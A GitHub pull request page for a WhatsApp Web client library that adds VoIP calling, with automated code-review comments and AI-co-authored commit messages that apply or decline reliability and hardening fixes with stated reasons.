Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/update-version.yml at line 228, The PR_NUMBER assignment at line 228 uses direct interpolation of the step output rather than environment variable indirection. To align with the hardening pattern already applied elsewhere in the workflow (at lines 108 and 132-133), add pr_number to the step's env block by referencing steps.create_pr.outputs.pr_number there, then use the env variable reference instead of the direct step output interpolation in the PR_NUMBER assignment. This provides consistency and defense-in-depth for all similar output handling throughout the workflow.src/Defaults/index.ts (1)
307-325: ⚡ Quick winConsolidate duplicated env-int parsing into the shared helper.
This local
intFromEnvduplicatessrc/Utils/env-utils.tsand has already diverged. Please reuse a single implementation to avoid future parsing drift across config surfaces.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/Defaults/index.ts` around lines 307 - 325, The intFromEnv helper function in src/Defaults/index.ts duplicates logic that already exists in src/Utils/env-utils.ts, and these implementations have already diverged. Remove the local intFromEnv function definition and instead import it from src/Utils/env-utils.ts, then update all usages within this file to use the imported version to ensure consistent env-int parsing across the codebase.src/Signal/session-cleanup.ts (1)
289-310: 🏗️ Heavy liftClose the documented lock-namespace gap in a follow-up change.
The comment accurately calls out that this delete path does not serialize with per-record session locks used by encrypt/decrypt. Please prioritize moving deletion to the same record-scoped lock model (or an equivalent shared mutex) to eliminate this concurrency window.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/Signal/session-cleanup.ts` around lines 289 - 310, The session-cleanup transaction uses a lock namespace 'session-cleanup' that does not serialize with the per-record session locks used by encrypt/decrypt operations via transactWith, creating a concurrency window where a decrypt can read a torn/empty session during deletion. Refactor the batch deletion in the keys.transaction() call to use per-address transactWith calls (with records of type 'session' and the appropriate id) for each session deletion instead of a single 'session-cleanup' namespace transaction, ensuring deletions acquire the same record-scoped locks as encrypt/decrypt operations. This aligns the locking model and eliminates the race condition at the cost of increased wall-clock time for the batch operation.src/Voip/types.ts (1)
145-149: ⚡ Quick winMake
VoipSdkConfigmutually exclusive at the type level.
VoipSdkConfigcurrently permits{ authDir, socket }together or neither, while runtime rejects both cases. Encode XOR in the public type so invalid configs fail at compile-time instead of runtime.Proposed type-level contract tightening
-export type VoipSdkConfig = { - authDir?: string - /** Existing socket to attach to (mutually exclusive with `authDir`). */ - socket?: VoipSocketLike -} +export type VoipSdkConfig = + | { + authDir: string + /** Existing socket to attach to (mutually exclusive with `authDir`). */ + socket?: never + } + | { + authDir?: never + socket: VoipSocketLike + }🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/Voip/types.ts` around lines 145 - 149, Refactor the VoipSdkConfig type to enforce mutual exclusivity at the type level by using a union type pattern. Instead of making both authDir and socket optional in a single object, create two separate type variants: one that requires authDir and excludes socket, and another that requires socket and excludes authDir. Then export VoipSdkConfig as a union of these two variants. This ensures that invalid configurations (both properties present or both absent) fail at compile-time rather than relying on runtime validation.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/update-proto.yml:
- Around line 247-263: In the WA_JS_URL sanitization line using the tr command,
the hyphen `-` character is positioned between `.` and `+` in the character
class, which could be interpreted as a range operator instead of a literal
hyphen. Move the `-` character to the end of the character class in the tr
command (after all other characters) to ensure it is treated literally and not
as a range operator.
In `@src/Utils/env-utils.ts`:
- Around line 29-31: Whitespace-only environment variable values are not being
caught as empty. In the numeric conversion helper at lines 29-31, trim the raw
input value before checking if it equals an empty string. This ensures that
whitespace-only strings are treated as empty and return the fallback value,
rather than being coerced to zero by Number(). Apply the same fix to the similar
function at lines 39-41 that also converts environment variables to numbers.
In `@src/Utils/messages-media.ts`:
- Around line 774-810: The HMAC verification check happens before the guard that
checks whether aes was initialized, causing short trailer-only streams to return
a 401 error instead of the correct 400 error. Move the !aes guard check (which
returns the "media stream too short — no ciphertext bytes received" Boom error)
to execute before the verifyMac and hmac validation block so that uninitialized
aes is caught first for these edge cases.
In `@src/Utils/multi-db-sqlite/keys-with-jid-map.ts`:
- Around line 154-173: The legacy delete propagation in the forward delete
request block (around lines 154-173) and the corresponding blocks at lines
190-194 and 224-228 do not properly clear both forward and reverse mappings when
they exist only in the `inner` store during migration. Modify the delete logic
at all three locations to resolve the paired opposite-direction key from `inner`
before building `lidMappingDeletes`, ensuring both the forward and reverse
legacy entries are cleared together and preventing the fallback logic in lines
92-104 from resurrecting stale mappings.
In `@src/Utils/prometheus-metrics.ts`:
- Around line 172-176: The intFromEnv function currently only enforces a lower
bound but does not validate against the maximum TCP port number (65535). Ports
above 65535 will pass validation and cause server.listen() to fail at runtime.
Modify the intFromEnv function to accept an upper-bound parameter and enforce it
by clamping the parsed value, then update the call in the prometheus-metrics.ts
file where intFromEnv is invoked for BAILEYS_PROMETHEUS_PORT to pass 65535 as
the upper bound alongside the existing lower bound of 1.
In `@src/Voip/index.ts`:
- Around line 452-463: The event listeners registered on the embedded socket in
the 'CB:call' and 'CB:receipt' handlers (at the shown location and also at lines
476-488) are not being removed when disconnect() is called at line 814-826,
causing them to execute against nulled `#engine` and `#signaling` state when stanzas
arrive on the preserved socket. In the disconnect() method, before or after
preserving the embedded socket, remove all event listeners that were attached to
this.#sock.ws (the 'CB:call', 'CB:receipt', and any other listeners registered
in the setup phase) by calling the appropriate listener removal method on each
one, ensuring the socket will not trigger callbacks that reference torn-down
state.
- Around line 814-826: The disconnect() method destroys the engine and nulls
references, but it fails to stop the active audio capture via `#feeder` before
teardown, allowing the ffmpeg child process and emit timer to continue running
and drop audio chunks since the engine becomes null. Call
`#handleAudioCaptureStop`() in the disconnect() method before destroying the
engine to properly release the feeder and capture buffer, and check similar
teardown paths (around lines 863-888) to apply the same fix.
In `@src/Voip/relay-transport.ts`:
- Around line 265-327: When updateRelayList() creates canonical relay
connections in nextInfoById, early packets buffered on placeholder connections
(keyed by ip:port with rewritten ports) must be migrated to the corresponding
real relay connections. In the method updateRelayList, after populating
nextInfoById with relay connection info but before clearing and repopulating
this.#relayInfoById, check for any buffered packets stored under placeholder
connection identifiers (using the clientPort with rewritten-port logic) and
transfer those packets to the canonical relay connection. This migration must
occur for both IPv4 and IPv6 addresses to ensure initial STUN/media packets
aren't stranded on orphan placeholders when using the USE_ORIGINAL_RELAY_PORTS
path.
In `@src/Voip/signaling/bridge.ts`:
- Around line 276-293: When an encryption error occurs in the try-catch block
within the destinations loop (during the call to this.#encryptCallKey for any
targetJid), the catch handler strips all enc nodes from destinations and breaks,
but the code continues to execute the sendCallStanza call at line 293, resulting
in a partial/malformed stanza being sent. Fix this by ensuring the function
aborts entirely when encryption fails: either throw the caught error to
propagate it, or return early to prevent execution from reaching the
sendCallStanza invocation. This ensures that encryption failures result in a
hard abort of the multi-destination send rather than a best-effort partial send.
In `@src/Voip/wasm-engine/instance.ts`:
- Around line 282-304: The static `#globalCallbackListeners` Map and
`#globalCallbacksRegistered` flag are never cleared when a WasmEngine instance is
destroyed, causing stale handlers from previous instances to persist and
misroute events. In the destroy() method, add code to clear the
`#globalCallbackListeners` Map by calling clear() on it and reset
`#globalCallbacksRegistered` to false. Additionally, review the other affected
locations mentioned (lines 435-436, 453-475, and 1155-1249) to identify any
similar static state that needs to be cleaned up in destroy() to ensure each
engine instance starts with a clean slate.
- Around line 166-169: The worker error handler is empty and swallows errors,
and the initialization promise can hang indefinitely if the worker crashes
before sending a loaded message. In the `#loadWasmModuleToWorker` method, replace
the empty error event handler with logic that rejects the initialization
promise, add an explicit error handler that captures and rejects on worker
errors, implement a timeout mechanism to reject the promise if no loaded or
error message arrives within a reasonable timeframe, and handle worker exit
events (via the 'exit' event for Node.js workers or similar mechanisms) to
reject the promise if the worker terminates unexpectedly. This ensures that
initialize() will not stall when a worker dies before posting required messages.
- Around line 491-524: The outer catch block in the initVoipStack initialization
is swallowing all errors and unconditionally calling resolveInit(), which masks
failures and leaves the client in a false-ready state. Instead of catching and
silently resolving on any error, you should propagate the failure by rejecting
the initialization promise or rethrowing the error so that waitForVoipStackReady
properly surfaces the failure. Only call resolveInit() on successful
initialization. This same issue applies at the consolidated site at lines
528-535, which should also be fixed to properly reject rather than silently
resolve on initialization failure.
In `@src/Voip/worker-bootstrap.ts`:
- Around line 439-445: The global.importScripts function in the
worker-bootstrap.ts file resolves file paths relative to process.cwd() instead
of resourcesPath, causing failures when the host starts from directories other
than the original working directory. Additionally, errors are silently caught
with an empty catch block. Modify the importScripts implementation to resolve
URLs relative to resourcesPath (the directory where the loader.js is executed
from) instead of process.cwd(), and add proper error handling instead of
silently catching exceptions. This same fix needs to be applied at the other
location mentioned in the comment (around line 938-947) where similar file
resolution or loading occurs.
---
Outside diff comments:
In `@src/Utils/multi-db-sqlite/lid-mapping-backend.ts`:
- Around line 182-184: The upsertMap.run() call in the lid-mapping-backend.ts
file uses Date.now() for the sort_id parameter, which provides only millisecond
resolution and is insufficient to guarantee write-order semantics. Replace
Date.now() with a strictly monotonic value such as a combination of the current
timestamp and a per-process sequence counter to ensure that multiple writes
within the same millisecond can be properly ordered. Additionally, verify that
all PN→LID read paths that order results by sort_id DESC are consistent with
this monotonic ordering approach so that last-write-wins behavior is reliably
maintained.
---
Nitpick comments:
In @.github/workflows/update-version.yml:
- Line 228: The PR_NUMBER assignment at line 228 uses direct interpolation of
the step output rather than environment variable indirection. To align with the
hardening pattern already applied elsewhere in the workflow (at lines 108 and
132-133), add pr_number to the step's env block by referencing
steps.create_pr.outputs.pr_number there, then use the env variable reference
instead of the direct step output interpolation in the PR_NUMBER assignment.
This provides consistency and defense-in-depth for all similar output handling
throughout the workflow.
In `@src/Defaults/index.ts`:
- Around line 307-325: The intFromEnv helper function in src/Defaults/index.ts
duplicates logic that already exists in src/Utils/env-utils.ts, and these
implementations have already diverged. Remove the local intFromEnv function
definition and instead import it from src/Utils/env-utils.ts, then update all
usages within this file to use the imported version to ensure consistent env-int
parsing across the codebase.
In `@src/Signal/session-cleanup.ts`:
- Around line 289-310: The session-cleanup transaction uses a lock namespace
'session-cleanup' that does not serialize with the per-record session locks used
by encrypt/decrypt operations via transactWith, creating a concurrency window
where a decrypt can read a torn/empty session during deletion. Refactor the
batch deletion in the keys.transaction() call to use per-address transactWith
calls (with records of type 'session' and the appropriate id) for each session
deletion instead of a single 'session-cleanup' namespace transaction, ensuring
deletions acquire the same record-scoped locks as encrypt/decrypt operations.
This aligns the locking model and eliminates the race condition at the cost of
increased wall-clock time for the batch operation.
In `@src/Voip/types.ts`:
- Around line 145-149: Refactor the VoipSdkConfig type to enforce mutual
exclusivity at the type level by using a union type pattern. Instead of making
both authDir and socket optional in a single object, create two separate type
variants: one that requires authDir and excludes socket, and another that
requires socket and excludes authDir. Then export VoipSdkConfig as a union of
these two variants. This ensures that invalid configurations (both properties
present or both absent) fail at compile-time rather than relying on runtime
validation.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 9959a6e5-1bb0-4822-a7a4-b59b870573d1
⛔ Files ignored due to path filters (2)
src/Voip/assets/wasm/whatsapp.wasmis excluded by!**/*.wasmyarn.lockis excluded by!**/yarn.lock,!**/*.lock
📒 Files selected for processing (59)
.github/workflows/build.yml.github/workflows/lint.yml.github/workflows/manual-release.yml.github/workflows/pr-comment.yml.github/workflows/publish-release.yml.github/workflows/stale.yml.github/workflows/test.yml.github/workflows/update-proto.yml.github/workflows/update-version.yml.prettierignoreeslint.config.mtspackage.jsonsrc/Defaults/index.tssrc/Signal/libsignal.tssrc/Signal/session-activity-tracker.tssrc/Signal/session-cleanup.tssrc/Socket/messages-recv.tssrc/Socket/messages-send.tssrc/Socket/offline-buffer-state.tssrc/Socket/socket.tssrc/Types/index.tssrc/Utils/decode-wa-message.tssrc/Utils/env-utils.tssrc/Utils/error-log-utils.tssrc/Utils/event-buffer.tssrc/Utils/lock-manager.tssrc/Utils/messages-media.tssrc/Utils/messages.tssrc/Utils/meta-ai-msmsg.tssrc/Utils/multi-db-sqlite/keys-with-jid-map.tssrc/Utils/multi-db-sqlite/lid-mapping-backend.tssrc/Utils/multi-db-sqlite/schemas/msgstore.tssrc/Utils/multi-db-sqlite/use-multi-db-sqlite-auth-state.tssrc/Utils/prometheus-metrics.tssrc/Voip/assets/wasm/loader.jssrc/Voip/assets/wasm/worker-modules.jssrc/Voip/audio-feeder.tssrc/Voip/index.tssrc/Voip/relay-transport.tssrc/Voip/signaling/bridge.tssrc/Voip/signaling/index.tssrc/Voip/types.tssrc/Voip/voip-optional-peers.d.tssrc/Voip/wasm-engine/index.tssrc/Voip/wasm-engine/instance.tssrc/Voip/worker-bootstrap.tssrc/WABinary/decode.tssrc/WAM/encode.tssrc/__tests__/Socket/bad-ack-handling.test.tssrc/__tests__/Socket/offline-buffer-timeout.test.tssrc/__tests__/Utils/auth-utils.cacheable-concurrency.test.tssrc/__tests__/Utils/contact-picture-identity.test.tssrc/__tests__/Utils/error-log-utils.test.tssrc/__tests__/Utils/messages-recv.lid-migration.test.tssrc/__tests__/Utils/messages-recv.retry-counter.test.tssrc/__tests__/Utils/meta-ai-msmsg.test.tssrc/__tests__/Utils/signal.delete-migrate-race.test.tssrc/__tests__/WABinary/decode-bounds.test.tssrc/index.ts
… P2/P3 polish
Round-6 audit on the release branch flagged 1 blocker and 9 real findings.
All applied directly on this branch so the PR merges into master clean.
## BLOCKER — `update-proto.yml` `tr` character class
`tr -cd 'A-Za-z0-9:/?&=._-+~%#'` parses `_-+` as a range from `_` (0x5F)
to `+` (0x2B), which GNU `tr` rejects with "reverse collating sequence
order" and exits 1. The Summary step would crash on every auto-update
run, breaking the entire `update-proto` pipeline that lands in master.
Move the `-` to the end of the class so it's interpreted literally.
## VoIP P1s (5)
bridge.ts — `#sendBatchEncryptedCall` no longer pushes the stanza when
ANY destination failed to encrypt. Earlier the loop stripped `enc` from
every destination on a single failure but then fell through to
`sendCallStanza`, delivering a key-less offer that the peer couldn't
decrypt — call setup failed silently.
wasm-engine/instance.ts — three independent issues:
(a) `#registerGlobalCallbacks` is no longer gated on a static flag.
The map of listeners held closures over `this.#config.callbacks`,
so a reconnect-after-disconnect routed events to handlers from
the destroyed instance. `destroy()` now clears the static map
and the init path always re-registers against the live instance.
(b) `initVoipStack`'s outer catch no longer hides errors. The stack
now records the failure in `#voipStackInitError`, and
`waitForVoipStackReady()` re-throws it on the consumer side
instead of silently resolving as "ready".
(c) `#loadWasmModuleToWorker` arms a 30 s timeout that rejects the
load promise. Without it, a worker that crashed before sending
its `loaded` message left the engine init hanging forever.
index.ts — `disconnect()` now detaches the `'CB:call'` and
`'CB:receipt'` listeners it installed on `this.#sock.ws` before nulling
the engine refs. Earlier the listeners outlived the engine, and an
in-flight stanza would call into a torn-down `this.#engine`, throwing
into the host process.
## JID-HOSTED-P2 (5 locations)
bridge.ts (4) + index.ts (1) used `endsWith('@lid')` to gate LID
handling, which silently rewrote `*.@hosted.lid` accounts (device 99)
as PNs. Switched to `decoded.server` lookup in `bridge.ts` (the JID is
already decoded right above each check) and an explicit
`'@hosted.lid'` branch in `index.ts`.
## P2/P3 polish (4)
lid-mapping-backend.ts (MDB-UNCACHED-P2) — `getAllLidsForPn` now uses
a cached `selectAllLidsByPn` statement instead of compiling SQL per
call. Same hot-path optimisation that was already in place for
`deleteMapping`.
env-utils.ts (ENV-TRIM-P2) — `intFromEnv` and `floatFromEnv` now
`.trim()` before the empty-string check. A `KEY= ` env var with only
whitespace used to slip past `=== ''` and `Number(' ')` returned 0,
masquerading as a legitimate zero config.
keys-with-jid-map.ts (COMMENT-BESTEFF-P3) — comment said the try/catch
was "best-effort" but the catch arm always rethrows. Rewritten to
match what the code actually does: the wrapper exists only to classify
SQLITE_BUSY vs other errors.
prometheus-metrics.ts (COMMENT-PORT-P3) — comment claimed `≥1024
unprivileged` but `intFromEnv(..., 1)` allows privileged ports too.
Rewritten to acknowledge `min=1` is just "not zero / not negative" so
operators running as root can bind to a privileged port if desired.
## Validation
- `tsc --noEmit -p tsconfig.json` exit 0
- `eslint` on all 7 touched files: 0 errors after prettier autofix
- Local jest: 2 pre-existing failures in `multi-db-backends.test.ts` and
`multi-db-sqlite-auth-state.test.ts` are missing `better-sqlite3`
native binding on Windows toolchain — CI Linux is the gate, those
pass there.
## Customizations untouched
Carousel, list, button, poll, view-once, biz quality_control, Lottie
wrap, Meta AI msmsg, DSM, TC token, LID↔PN batched, Phase 9 multi-DB,
useLegacyLock, schema migrations, memory leak fix — all unchanged.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
There was a problem hiding this comment.
1 issue found across 8 files (changes from recent commits).
Prompt for AI agents (unresolved issues)
Check if these issues are valid — if so, understand the root cause of each and fix them. If appropriate, use sub-agents to investigate and fix each issue separately.
<file name="src/Voip/audio-feeder.ts">
<violation number="1" location="src/Voip/audio-feeder.ts:151">
P2: Emission loop is incorrectly tied to child-process liveness. Finite audio sources can stop uplink cadence when ffmpeg exits.</violation>
</file>
<file name="src/Utils/messages-media.ts">
<violation number="1" location="src/Utils/messages-media.ts:774">
P1: MAC is verified only at stream end but plaintext is streamed earlier, so unauthenticated data can be consumed before rejection.</violation>
</file>
<file name=".github/workflows/publish-release.yml">
<violation number="1" location=".github/workflows/publish-release.yml:28">
P2: Release workflow still references mutable GitHub Action tags (`@v4`) instead of immutable SHAs. This weakens supply-chain hardening and allows behavior changes without code review.</violation>
</file>
<file name="src/Voip/assets/wasm/worker-modules.js">
<violation number="1">
P1: Array.prototype.flatMap polyfill is semantically incorrect when thisArg is passed. It can return incorrect output by iterating the wrong object.</violation>
<violation number="2">
P2: WebCodecs support check can throw in non-window environments due to direct window access. This can crash capability probing instead of returning false.</violation>
</file>
Reply with feedback, questions, or to request a fix.
Re-trigger cubic
There was a problem hiding this comment.
♻️ Duplicate comments (1)
src/Voip/index.ts (1)
830-843:⚠️ Potential issue | 🟠 Major | ⚡ Quick winHandler detachment looks correct, but audio capture still not stopped.
The listener detachment addresses the earlier concern about CB handlers running against torn-down state.
However, the second past review issue remains:
#feeder(the ffmpeg child process and emit timer) is not stopped beforeengine.destroy(). If audio capture is active, the feeder continues running and drops chunks silently because the callback checksif (this.#engine && ...). Call#handleAudioCaptureStop()beforethis.#engine?.destroy()to release the ffmpeg process and capture buffer.Proposed fix
disconnect = (): void => { this.#activeCall?._forceEnd('disconnect') this.#activeCall = null + // Stop audio capture before destroying the engine — the ffmpeg child + // process and emit timer would otherwise leak. + this.#handleAudioCaptureStop() // Detach the direct ws CB hooks BEFORE we null out the engine — // otherwise a stanza in flight when destroy() lands could invoke🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/Voip/index.ts` around lines 830 - 843, The feeder (ffmpeg child process and emit timer) is not being stopped before engine destruction, causing audio capture to continue running and silently drop chunks because the callback still checks if this.#engine exists. Add a call to `#handleAudioCaptureStop`() before the this.#engine?.destroy() call to properly release the ffmpeg process and capture buffer.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Duplicate comments:
In `@src/Voip/index.ts`:
- Around line 830-843: The feeder (ffmpeg child process and emit timer) is not
being stopped before engine destruction, causing audio capture to continue
running and silently drop chunks because the callback still checks if
this.#engine exists. Add a call to `#handleAudioCaptureStop`() before the
this.#engine?.destroy() call to properly release the ffmpeg process and capture
buffer.
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 3056a9c9-80ab-462e-adae-4c1780ca4c72
📒 Files selected for processing (8)
.github/workflows/update-proto.ymlsrc/Utils/env-utils.tssrc/Utils/multi-db-sqlite/keys-with-jid-map.tssrc/Utils/multi-db-sqlite/lid-mapping-backend.tssrc/Utils/prometheus-metrics.tssrc/Voip/index.tssrc/Voip/signaling/bridge.tssrc/Voip/wasm-engine/instance.ts
🚧 Files skipped from review as they are similar to previous changes (6)
- src/Utils/env-utils.ts
- .github/workflows/update-proto.yml
- src/Utils/prometheus-metrics.ts
- src/Utils/multi-db-sqlite/keys-with-jid-map.ts
- src/Utils/multi-db-sqlite/lid-mapping-backend.ts
- src/Voip/signaling/bridge.ts
…+ FU-03 reverse-delete forward cleanup Round-6 audit of PR #546 surfaced 9 follow-up items. After case-by-case validation, 3 are real and acionable, 6 are intentional non-fixes — documented below. ## Applied (3) FU-04 — `libsignal.ts` varint 5-byte overflow The earlier round-5 fix rejected 6-byte varints via `shift >= 35`. This closes the remaining loophole: a 5-byte varint whose 5th byte has the top nibble set (`byte & 0xf0`) encodes a value > 2³² – 1 that `>>> 0` silently masks into a valid-looking uint32. Reject it explicitly at `shift === 28` before the bitwise-or runs. FU-06 — `prometheus-metrics.ts` port upper-bound `intFromEnv` gained an optional `max` parameter (default `Number.MAX_SAFE_INTEGER`, so existing call sites are unaffected). Prometheus port now passes `max=65535` so a `BAILEYS_PROMETHEUS_PORT=99999` falls back to the default `9092` instead of reaching `server.listen()` with an out-of-range integer. FU-03 — `keys-with-jid-map.ts` reverse-delete forward cleanup Reverse delete (`${lid}_reverse → null`) wiped the typed `jid_map` row and the inner store's `_reverse` entry but left any legacy forward entry `pnUser → lidUser` in the inner store. A subsequent `inner.get('lid-mapping', [pnUser])` would then resurrect the just-deleted LID via the fallback path. We now resolve the PN synchronously via `jidMap.getPnForLid(lidUser)` and queue its forward delete on the same pass. ## NOT applied (with reasons) FU-01 — pinning `actions/setup-node@v4` etc. to immutable SHAs The project's policy treats first-party GitHub Actions (`actions/*`) as trusted via major tag and pins only third-party actions by SHA (see `meeDamian/github-release@7ae19492...` in publish-release.yml). Changing only `setup-node` would be inconsistent. If the policy changes, this should be applied to all `actions/*` references in one pass — out of scope for this release. FU-02 / FU-05 — `audio-feeder.ts` emission loop + `disconnect()` ffmpeg Both touch the VoIP audio-capture lifecycle. The current behaviour (loop stops with ffmpeg, child process left to its natural exit) is intentional for the silence-source path and the finite-source path has a documented limitation. A proper fix needs E2E coverage of the capture state machine first — left as a tracked follow-up. FU-07 — `worker-modules.js` flatMap polyfill + WebCodecs check `worker-modules.js` is vendored verbatim from WhatsApp Web's bundle (Meta source). Patching it would create permanent divergence and break our ability to refresh the bundle on schema bumps. The `worker-bootstrap.ts` shim already polyfills `window`, so the WebCodecs throw doesn't fire in practice. FU-08 — `relay-transport.ts:327` early-packet migration Migrating buffered packets from a placeholder connection to the canonical connection after `updateRelayList()` is a multi-week redesign of the relay handshake. Edge case in early-init; deferred. FU-09 — `worker-bootstrap.ts:445` `importScripts` CWD fallback Only fires when the vendored loader.js calls `importScripts` with a relative URL — never observed in practice in the WASM bundle we ship. MAC stream verification at `final()` only — design trade-off Documented in `messages-media.ts`. Buffering the entire decrypted payload until the MAC verifies would defeat the purpose of streaming downloads. The PR moved the project from "no MAC check at all" to "MAC check at final()", which is a strict improvement. A "verify-before-emit" mode could be added later as opt-in for callers who can afford the buffering. ## Validation - `tsc --noEmit -p tsconfig.json` exit 0 - `eslint` on touched files: 0 errors - `intFromEnv` change is backward-compatible (new `max` defaults to `MAX_SAFE_INTEGER`); all existing call sites (auth, retry, batching) retain their behaviour. ## Customizations untouched Carousel, list, button, poll, view-once, biz quality_control, Lottie wrap, Meta AI msmsg, DSM, TC token, LID↔PN batched, Phase 9 multi-DB, useLegacyLock, schema migrations, memory leak fix — unchanged. Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
Resumo
Trazendo 11 commits de develop pra master. Master continua com os version-bumps automáticos preservados (auto-PRs de WA Web / proto). Última release: PR #485 (2026-05-31).
Commits de develop sendo aplicados (11)
Auto-updates do master preservados ✅
Os 10 commits de version-bump em master (PRs #527 #528 #530 #531 #539 #540 #541 #542 #543 #544) foram integrados via merge no release branch. Resolução de conflitos:
Zero regressão: os 2 conflicts no `messages-recv.ts`/`messages-send.ts` eram puramente formatação (one-liner vs multi-line), comportamento idêntico.
Customizações intactas ✅
Verificação que nada quebrou:
Validação local
Test plan
🤖 Generated with Claude Code
Summary by cubic
Promotes develop to master: ships WhatsApp VoIP calling and completes audit-driven hardening across security, reliability, and CI. Adds follow-up fixes (Signal varint overflow, Prometheus port bound, reverse-delete cleanup) and preserves master’s auto version bumps for WA Web and
WAProto.New Features
VoipClient,ActiveCall,CallState), with signaling bridge, relay transport, worker pool, and assets undersrc/Voip/**.@roamhq/wrtcandqrcode-terminal; requiresffmpegon PATH. Root exports include all VoIP types; ESM.jsimport fix forWAProto.Bug Fixes & Hardening
query()now throws a typed timeout error;readIntuses unsigned length.@hosted.lidhandling.NOT NULLschema constraints; cache SQLite statements; busy-retry onsaveCreds; ensure reverse delete also clears any forward mapping; document cross-DB write order.actions/*@v4; lint gate no longer auto-fixes; scope npm auth to publish steps; sanitize workflow inputs; fixupdate-proto.ymltrclass; sanitize version parsing.Written for commit 53cbf63. Summary will update on new commits.
Summary by CodeRabbit